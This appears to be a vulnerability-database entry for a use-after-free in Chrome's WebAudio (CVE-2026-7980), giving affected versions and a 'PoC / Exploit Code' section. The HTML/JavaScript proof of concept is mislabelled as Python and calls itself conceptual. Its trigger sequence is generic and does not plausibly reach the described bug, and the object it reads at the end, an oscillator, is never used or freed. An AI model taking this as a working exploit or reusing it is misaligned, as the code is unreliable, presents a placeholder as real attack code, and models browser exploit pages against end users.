Use after free in WebAudio in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC for CVE-2026-7980 (Conceptual)
Trigger: Use after free in WebAudio via crafted HTML page.
Note: Actual exploitation requires heap grooming and ROP chain.
-->
<html>
<head>
<title>CVE-2026-7980 PoC</title>
</head>
<body>
<script>
// Initialize AudioContext
const ctx = new (window.AudioContext || window.webkitAudioContext)();
function triggerUAF() {
// Create audio nodes
const oscillator = ctx.createOscillator();
const gainNode = ctx.createGain();
const buffer = ctx.createBuffer(1, 4096, ctx.sampleRate);
const source = ctx.createBufferSource();
source.buffer = buffer;
// Connect nodes to create a complex graph
source.connect(gainNode);
gainNode.connect(ctx.destination);
// Start processing
source.start();
// Simulate the race condition/UAF trigger point
// Rapidly manipulating connections/parameters to confuse the GC
for (let i = 0; i < 1000; i++) {
try {
// This specific sequence of operations is meant to trigger the vulnerability
gainNode.gain.setValueAtTime(0.5, ctx.currentTime + 0.1);
source.stop(ctx.currentTime + 0.1);
// Force garbage collection if possible (implementation dependent)
if (window.gc) window.gc();
} catch(e) {}
}
// If successful, accessing 'oscillator' here may crash the browser (Use After Free)
console.log(oscillator.frequency.value);
}
// User interaction required (UI:R)
document.body.innerHTML = '<h1>Click to trigger CVE-2026-7980</h1>';
document.body.addEventListener('click', triggerUAF);
</script>
</body>
</html>